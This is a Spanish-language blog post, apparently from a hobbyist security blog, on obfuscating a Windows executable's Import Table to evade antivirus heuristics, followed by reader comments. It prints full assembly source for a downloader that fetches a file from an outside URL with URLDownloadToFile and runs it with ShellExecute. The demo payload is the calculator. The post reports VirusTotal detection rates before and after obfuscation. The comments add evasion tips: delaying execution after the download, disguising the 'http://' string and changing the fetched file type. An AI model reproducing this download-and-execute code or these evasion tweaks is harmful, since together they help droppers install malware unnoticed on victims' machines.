Ya adelanto que parece que “ofuscar” la IT no es demasiado útil para saltarse las heurísticas, mi gozo en un pozo :( Pero sigue siendo útil para confundir a algunos antivirus o herramientas(LordPE).
Para realizar las pruebas necesitamos un programa que supongamos que vaya a ser detectado por heurística, el mas típico y sencillo es un Downloader que haga uso primero de la API URLDownloadToFile para descargar un fichero desde una página web y después de la API ShellExecute para ejecutar el fichero descargado.
Supongo que un antivirus al ver que las 2 únicas API que se usan son esas dos tan sospechosas detectará el fichero como posible Downloader.
El código en ensamblador es sencillito:
.386 .model flat, stdcall option casemap:none include windows.inc include kernel32.inc include urlmon.inc include shell32.inc includelib kernel32.lib includelib urlmon.lib includelib shell32.lib .data urlcalc db "http://sites.google.com/site/xyzthor/calc/calc.exi?attredirects=0&d=1", 0 ;Calculadora de windwos nombre db "calc.exe", 0 action db "open", 0 .code codigo: push 0 push 0 push offset nombre push offset urlcalc push 0 call URLDownloadToFile push SW_SHOW push 0 push 0 push offset nombre push offset action push 0 call ShellExecute push 0 call ExitProcess end codigo
El código descarga la calculadora desde http://sites.google.com/site/xyzthor/calc/calc.exi?attredirects=0&d=1 y la ejecuta.
Os subo aquí el ejecutable compilado.
Lo subimos a VirusTotal y lo detectan 27/42 AVs. Algunos nombres son muy descriptivos: Heuristic.BehavesLike.Win32.Downloader.J
Ahora aplicamos la técnica de ofuscar la IT. Esta vez para hacerlo mas sencillo he añadido 2 secciones y he puesto la IT en medio. Subo el ejecutable con la IT ofuscada por si queréis echarle un ojo.
Lo volvemos a subir a VT y lo detectan 20/42. Algunos AVs no detectan esta muestra pero si la anterior y viceversa. Así que no es un a prueba muy concluyente, además no estoy seguro que lo detecten por heurística habría que probar los antivirus con la heurística desactivada y ver si detectan el ejecutable o no. A ver si sale pronto a la luz KIMS 2.0 y puedo realizar algunas pruebas mas.
Algo curioso es que Microsoft Security Essentials si detecta el downloader original:
Pero no detecta el ejecutable con la IT ofuscada, ¿no será capaz de leerla? ¿O influirán otras cosas?
Un saludo!
Quizá si se basa en buscar siertas apis, y como no es capaz de leeras x.x
ResponderEliminarLindos mensajes Thor, parecen cartas de amor :P
Saludos!
Hola thor,
ResponderEliminarel problema está en que se hace la llamada a la función de descargar un archivo y seguidamente, se ejecuta y se cierra la aplicación, si no cierras la aplicación y la ejecución del malware posterior se hace en un intervalo, verás que vuelves a dejar indetectable a otro par de av's, saludos!
Hola,
ResponderEliminarPero fijate que si el antivirus para saber que se va a llamar a la API de descargar un fichero primero tiene que leer la Import Table, sino no tiene la menor idea de a que API se va a llamar. De lo que deduzco que son capaces de leer correctamente la IT, aun ofuscada. ¿Emularan al loader de windows o algo asi?
También me he fijado que suprimiendo completamente la IT muchos antivirus aun siguen detectandolo como downloader parece que la ruta "http://" les basta para marcar el archivo como sospechoso.
Definitivamente tengo que realizar mas pruebas al respecto.
Saludos!
Entonces prueba a "jugar" con la cadena "HTTP://" a ver que pasa...
ResponderEliminarMe encanta tu blog. Si no es mucho pedir, sigue en esta línea :)
Saludos.
Buenas,
ResponderEliminaresta muy bien tu blog lo eh descubierto gracias a una entrada en securitybydefault,me gustaria ver mas investigacion en este campo de saltarse AV's,en este caso en concreto se me ocurre algunas cosas que creo que seria interesante probar,por ejemplo intentar descargar un txt en vez de un exe,distintas formas de llamar a las funciones y tambien como an comentado por ahi poner un retraso entre la descarga y la ejecucion.
Gracias por los comentarios, en su día probé a ir haciendo un downloader cada vez menos detectado usando distintas técnicas. Posiblemente lo vuelva a intentar.
ResponderEliminar